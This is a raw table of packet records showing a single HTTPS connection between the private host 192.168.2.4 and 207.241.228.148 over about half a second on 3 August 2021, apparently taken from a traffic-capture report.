Aug 3, 2021 20:39:44.861041069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861063004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861084938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861103058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861123085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861141920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861160994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861125946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861181974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861201048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861222982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861243010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861258030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861273050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861289024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861304998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861325026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861344099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861363888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861366987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861383915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861403942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861423016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861445904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861447096 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861466885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861485004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861505032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861524105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861542940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861562014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861562014 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861582041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861604929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861604929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861625910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861644030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861663103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861682892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861701965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861686945 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.861726999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861747026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861764908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861784935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861804962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.861826897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.863509893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.866564989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.867984056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868006945 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868022919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868063927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868418932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868433952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868439913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868521929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868562937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868585110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868607044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868630886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868654013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868674994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868696928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868719101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868738890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868760109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868781090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868805885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868829012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868849993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868871927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868870974 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868894100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868913889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868927956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868937016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868958950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868958950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.868983030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.868983030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869005919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869019985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869026899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869049072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869070053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869085073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869091988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869112968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869118929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869138956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869163036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869177103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869185925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.869206905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.869247913 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.892565012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892592907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892608881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892631054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892652988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892672062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.892714977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.892784119 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.921463013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.921502113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.921636105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.969636917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.969729900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:44.969810963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:44.969885111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049037933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049071074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049092054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049143076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049151897 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049165010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049165010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049168110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049187899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049200058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049211979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049232006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049232006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049251080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049267054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049278021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049287081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049303055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049319029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.049328089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049386978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.049993038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050043106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050065041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050079107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050117016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050132990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050165892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050211906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050231934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050252914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050282955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050307035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050322056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050354958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050370932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050393105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050394058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050416946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050448895 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050460100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050481081 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050487041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050503016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050530910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050533056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050548077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050564051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050586939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050590038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050622940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050626993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050659895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050662041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050687075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050704956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050720930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050735950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050753117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050760984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050777912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050817013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050832033 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050853968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050863981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050868034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050885916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050899982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050925970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050946951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050954103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.050960064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.050998926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051022053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051023960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051040888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051054955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051055908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051073074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051074982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051091909 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051095009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051137924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051146984 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051162958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051165104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051184893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051202059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051206112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051229000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051233053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051249981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051268101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051269054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051292896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051315069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051316977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051332951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051342010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051350117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051371098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051388979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051393032 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051409960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051428080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051435947 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051445007 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051453114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051474094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051491022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051493883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051516056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051532030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051548958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051557064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051569939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051588058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051589966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051609993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051632881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051647902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051654100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051661968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051676035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051695108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051707983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051714897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051738024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051742077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051760912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051779032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051796913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051815987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051826954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051836967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051855087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051867962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051877975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051897049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051915884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051924944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.051943064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051964045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051985979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.051999092 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.052006006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052018881 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.052027941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052048922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052062035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.052068949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052088976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052108049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.052110910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052131891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.052153111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.052216053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.072520018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.072588921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.072627068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.072665930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.072715044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.072716951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.072748899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.072787046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.101272106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.101547003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.149360895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.149496078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.229010105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229074001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229091883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229105949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229119062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229132891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229146004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229162931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229181051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.229290962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.229406118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.230289936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.231748104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.231769085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.231910944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.231923103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.231951952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.231978893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232002974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232028008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232033014 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232052088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232059002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232081890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232108116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232131004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232155085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232162952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232167959 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232177973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232199907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232201099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232223988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232239008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232247114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232275963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232295036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232301950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232325077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232347965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232352972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232372046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232394934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232419014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232431889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232438087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232441902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232460976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232484102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232491016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232505083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:45.232536077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:45.232537031 CEST	443	49756	207.241.228.148	192.168.2.4
